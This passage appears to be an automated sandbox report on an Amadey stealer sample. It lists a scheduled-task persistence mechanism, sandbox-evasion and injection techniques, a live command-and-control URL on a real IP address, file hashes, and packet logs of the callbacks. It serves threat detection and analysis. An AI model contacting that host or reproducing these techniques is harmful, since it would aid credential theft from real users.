0_2_05490C90

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 7_2_00EC643B mov eax, dword ptr fs:[00000030h]		7_2_00EC643B
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 7_2_00ECA1A2 mov eax, dword ptr fs:[00000030h]		7_2_00ECA1A2

Source: C:\Users\user\Desktop\gNo9ad9KO4.exe

Process created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe "C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe"

Jump to behavior

Source: explorti.exe, explorti.exe, 00000007.00000002.2881101334.0000000001074000.00000040.00000001.01000000.00000007.sdmp

Binary or memory string: yHProgram Manager

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Code function: 7_2_00EAD2E8 cpuid

7_2_00EAD2E8

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Queries volume information: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe VolumeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Code function: 7_2_00EACAED GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

7_2_00EACAED

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Code function: 7_2_00E96590 LookupAccountNameA,

7_2_00E96590

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 7.2.explorti.exe.e90000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.gNo9ad9KO4.exe.160000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.explorti.exe.e90000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.explorti.exe.e90000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.1640045336.0000000005280000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2881028373.0000000000E91000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1665651650.0000000004990000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.2319286062.0000000004810000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1720834507.0000000000E91000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1706078385.0000000000E91000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1680219093.0000000000161000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1680559275.0000000005660000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	12 Process Injection	1 Masquerading	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	1 DLL Side-Loading	1 Scheduled Task/Job	251 Virtualization/Sandbox Evasion	LSASS Memory	741 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	12 Process Injection	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	251 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	11 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	3 Obfuscated Files or Information	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	12 Software Packing	Cached Domain Credentials	1 Account Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	1 System Owner/User Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	1 File and Directory Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	224 System Information Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
gNo9ad9KO4.exe	51%	Virustotal		Browse
gNo9ad9KO4.exe	100%	Avira	TR/Crypt.TPM.Gen
gNo9ad9KO4.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	51%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
http://77.91.77.82/Hun4Ko/index.phpC	0%	Avira URL Cloud	safe
http://77.91.77.82/Hun4Ko/index.phpa	0%	Avira URL Cloud	safe
http://77.91.77.82/Hun4Ko/index.phpM	0%	Avira URL Cloud	safe
http://77.91.77.82/Hun4Ko/index.phpT	0%	Avira URL Cloud	safe
http://77.91.77.82/Hun4Ko/index.phpft	0%	Avira URL Cloud	safe
http://77.91.77.82/Hun4Ko/index.phpk	0%	Avira URL Cloud	safe
http://77.91.77.82/Hun4Ko/index.php	100%	Avira URL Cloud	phishing
http://77.91.77.82/Hun4Ko/index.phpW	0%	Avira URL Cloud	safe
http://77.91.77.82/Hun4Ko/index.phpM	22%	Virustotal		Browse
http://77.91.77.82/Hun4Ko/index.phpT	22%	Virustotal		Browse
http://77.91.77.82/Hun4Ko/index.php02k02k02k02k02k02k	0%	Avira URL Cloud	safe
http://77.91.77.82/Hun4Ko/index.phpC	23%	Virustotal		Browse
http://77.91.77.82/Hun4Ko/index.php	24%	Virustotal		Browse
http://77.91.77.82/Hun4Ko/index.phpa	21%	Virustotal		Browse
http://77.91.77.82/Hun4Ko/index.php/Hun4Ko/index.php	100%	Avira URL Cloud	phishing
http://77.91.77.82/Hun4Ko/index.phpk	21%	Virustotal		Browse
http://77.91.77.82/Hun4Ko/index.phpW	21%	Virustotal		Browse
http://77.91.77.82/Hun4Ko/index.phpu	0%	Avira URL Cloud	safe
http://77.91.77.82/Hun4Ko/index.php/Hun4Ko/index.php	22%	Virustotal		Browse
http://77.91.77.82/Hun4Ko/index.phpu	21%	Virustotal		Browse

Name	Malicious	Antivirus Detection	Reputation
http://77.91.77.82/Hun4Ko/index.php	true	24%, Virustotal, Browse Avira URL Cloud: phishing	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://77.91.77.82/Hun4Ko/index.phpT	explorti.exe, 00000007.00000002.2880581504.00000000006FE000.00000004.00000020.00020000.00000000.sdmp	false	22%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://77.91.77.82/Hun4Ko/index.phpC	explorti.exe, 00000007.00000002.2880581504.00000000006BB000.00000004.00000020.00020000.00000000.sdmp	false	23%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://77.91.77.82/Hun4Ko/index.phpft	explorti.exe, 00000007.00000002.2880581504.00000000006FA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://77.91.77.82/Hun4Ko/index.phpa	explorti.exe, 00000007.00000002.2880581504.00000000006BB000.00000004.00000020.00020000.00000000.sdmp	false	21%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://77.91.77.82/Hun4Ko/index.phpM	explorti.exe, 00000007.00000002.2880581504.00000000006BB000.00000004.00000020.00020000.00000000.sdmp	false	22%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://77.91.77.82/Hun4Ko/index.phpk	explorti.exe, 00000007.00000002.2880581504.00000000006BB000.00000004.00000020.00020000.00000000.sdmp	false	21%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://77.91.77.82/Hun4Ko/index.phpW	explorti.exe, 00000007.00000002.2880581504.00000000006BB000.00000004.00000020.00020000.00000000.sdmp	false	21%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://77.91.77.82/Hun4Ko/index.php02k02k02k02k02k02k	explorti.exe, 00000007.00000002.2880581504.00000000006FA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://77.91.77.82/Hun4Ko/index.php/Hun4Ko/index.php	explorti.exe, 00000007.00000002.2880581504.00000000006BB000.00000004.00000020.00020000.00000000.sdmp	true	22%, Virustotal, Browse Avira URL Cloud: phishing	unknown
http://77.91.77.82/Hun4Ko/index.phpu	explorti.exe, 00000007.00000002.2880581504.00000000006BB000.00000004.00000020.00020000.00000000.sdmp	false	21%, Virustotal, Browse Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
77.91.77.82	unknown	Russian Federation		42861	FOTONTELECOM-TRANSIT-ASFOTONTELECOMISPRU	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1467935
Start date and time:	2024-07-05 05:08:05 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 31s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	9
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	gNo9ad9KO4.exe renamed because original name is a hash value
Original Sample Name:	c2197d56f08530af4a35733cda8cd2fd.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@5/3@0/1
EGA Information:	Successful, ratio: 25%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target explorti.exe, PID 7448 because there are no executed function
Execution Graph export aborted for target explorti.exe, PID 7564 because there are no executed function
Execution Graph export aborted for target gNo9ad9KO4.exe, PID 7256 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
04:08:56	Task Scheduler	Run new task: explorti path: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
23:10:01	API Interceptor	851x Sleep call for process: explorti.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
77.91.77.82	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82/Hun4Ko/index.php
	So7a8eQerR.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82/Hun4Ko/index.php
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82/Hun4Ko/index.php
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82/Hun4Ko/index.php
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82/Hun4Ko/index.php
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82/Hun4Ko/index.php
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82/Hun4Ko/index.php
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82/Hun4Ko/index.php
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82/Hun4Ko/index.php
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82/Hun4Ko/index.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
FOTONTELECOM-TRANSIT-ASFOTONTELECOMISPRU	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82
	So7a8eQerR.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81
	file.exe	Get hash	malicious	Clipboard Hijacker, PureLog Stealer, RisePro Stealer, zgRAT	Browse	77.91.77.180
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82
	file.exe	Get hash	malicious	Clipboard Hijacker, PureLog Stealer, RisePro Stealer	Browse	77.91.77.180

Process:	C:\Users\user\Desktop\gNo9ad9KO4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1894912
Entropy (8bit):	7.949850570104973
Encrypted:	false
SSDEEP:	49152:5mv1X+giwFocOUfZI3wQbUrtCwwybCEd8:5K1W6bIUgwveE
MD5:	C2197D56F08530AF4A35733CDA8CD2FD
SHA1:	EF37D065F5AB7ACBE071150DE940778AD7E80BB5
SHA-256:	30EB98D8A7A54537B4352F78B44BE53109F3CD82577FA0C9B378BDE020E2890B
SHA-512:	CD4FC1C8D4043C52B0F190D3D0F7EDE9E2F184E16B3051CB3CC2A55D4205F011F53267BE6F41C2CAC28C9DC998EAD5F8AEB1847C038E66018ED3378A640C1F98
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Virustotal, Detection: 51%, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>.................PE..L.....af..............................J...........@...........................K......i....@.................................X...l...........................8.J..............................J..................................................... . ............................@....rsrc...............................@....idata ............................@... .0*.........................@...adkjkfkz......0.....................@...afyvsewm......J.....................@....taggant.0....J.."..................@...........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\gNo9ad9KO4.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	high, very likely benign file
Preview:	[ZoneTransfer]....ZoneId=0

C:\Windows\Tasks\explorti.job

Download File

Process:	C:\Users\user\Desktop\gNo9ad9KO4.exe
File Type:	data
Category:	dropped
Size (bytes):	288
Entropy (8bit):	3.4620007010637344
Encrypted:	false
SSDEEP:	6:6YJtX4RKUEZ+lX1QYShMl6lm6tPjgsW2YRZuy0l1r7zt0:1JZ4RKQ13vg7jzvYRQV1r7zt0
MD5:	D20F0185BD52EB5BDA558B287BF75755
SHA1:	B063B92974FFECAB303C9BFA00B72C4E52D4E0BA
SHA-256:	B22FF96DE01E45AA5E58514CE7A376777898025BDF54E0B6D613602C93ACDE25
SHA-512:	737A8A98FF2A7A997DA0F9DE81561B747C4A0077DDDFA32E947F144D91B8FCF47B197F7EFDF2C388743D47ED15825E93E9D6E693957AF29F53A4703224393F5A
Malicious:	false
Reputation:	low
Preview:	....H.+.^..K....#.VF.......<... .....s.......... ....................:.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.d.4.0.9.7.1.b.6.b.\.e.x.p.l.o.r.t.i...e.x.e.........J.O.N.E.S.-.P.C.\.j.o.n.e.s...................0...................@3P.........................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.949850570104973
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	gNo9ad9KO4.exe
File size:	1'894'912 bytes
MD5:	c2197d56f08530af4a35733cda8cd2fd
SHA1:	ef37d065f5ab7acbe071150de940778ad7e80bb5
SHA256:	30eb98d8a7a54537b4352f78b44be53109f3cd82577fa0c9b378bde020e2890b
SHA512:	cd4fc1c8d4043c52b0f190d3d0f7ede9e2f184e16b3051cb3cc2a55d4205f011f53267be6f41c2cac28c9dc998ead5f8aeb1847c038e66018ed3378a640c1f98
SSDEEP:	49152:5mv1X+giwFocOUfZI3wQbUrtCwwybCEd8:5K1W6bIUgwveE
TLSH:	7B9533289347395BC39D1C73A2A3471BF7788DC706EBAC783A50271569D32246ACB7C6
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x8ad000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x6661EA84 [Thu Jun 6 16:57:40 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F4688C6706Ah
bswap eax
sbb al, 00h
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F4688C69065h
add byte ptr [ebx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+00000000h], al
add byte ptr [eax], al
add byte ptr [edx], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], cl
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6a058	0x6c	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69000	0x1e0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x4aaf38	0x10	adkjkfkz
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x4aaee8	0x18	adkjkfkz
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x68000	0x2dc00	3d14346fcff343129bf069242c2f65cb	False	0.9984631147540983	data	7.988500981589288	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x69000	0x1e0	0x200	bb1d3aee5efd0fd8cc96a30c6a560f48	False	0.576171875	data	4.486579218469371	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x6a000	0x1000	0x200	6e66ae8f9a75bc604a087c954abf8737	False	0.15234375	data	1.0684380430289213	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x6b000	0x2a3000	0x200	e18cd50480d5e8e1c31717cd29ad2de9	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
adkjkfkz	0x30e000	0x19e000	0x19d200	c8fc1144ea0fa1ea829e3491092afef1	False	0.9944319686081694	data	7.953327902515579	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
afyvsewm	0x4ac000	0x1000	0x400	ac9eff5932ff932e45903377564b2e1b	False	0.828125	data	6.4192908878038475	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4ad000	0x3000	0x2200	534f3aee2a1a976ef32f0f39410a17f1	False	0.06158088235294118	DOS executable (COM)	0.7250773113842407	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x4aaf48	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
07/05/24-05:10:03.058996	TCP	2856147	ETPRO TROJAN Amadey CnC Activity M3	49737	80	192.168.2.4	77.91.77.82

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 5, 2024 05:10:03.052897930 CEST	49737	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:03.058708906 CEST	80	49737	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:03.058800936 CEST	49737	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:03.058995962 CEST	49737	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:03.063816071 CEST	80	49737	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:03.766336918 CEST	80	49737	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:03.769637108 CEST	49737	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:03.771302938 CEST	49737	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:03.776175976 CEST	80	49737	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:03.996983051 CEST	80	49737	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:03.997044086 CEST	49737	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:04.107538939 CEST	49737	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:04.107877970 CEST	49738	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:04.113708019 CEST	80	49738	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:04.113773108 CEST	49738	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:04.113854885 CEST	80	49737	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:04.113904953 CEST	49738	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:04.113904953 CEST	49737	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:04.119546890 CEST	80	49738	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:04.820863962 CEST	80	49738	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:04.821058989 CEST	49738	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:04.822462082 CEST	49738	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:04.829483032 CEST	80	49738	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:05.046885014 CEST	80	49738	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:05.046981096 CEST	49738	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:05.154618025 CEST	49739	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:05.154624939 CEST	49738	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:05.159532070 CEST	80	49739	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:05.159610033 CEST	49739	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:05.159713984 CEST	49739	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:05.159811020 CEST	80	49738	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:05.159874916 CEST	49738	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:05.164704084 CEST	80	49739	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:05.876519918 CEST	80	49739	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:05.876715899 CEST	49739	80	192.168.2.4	77.91.77.82
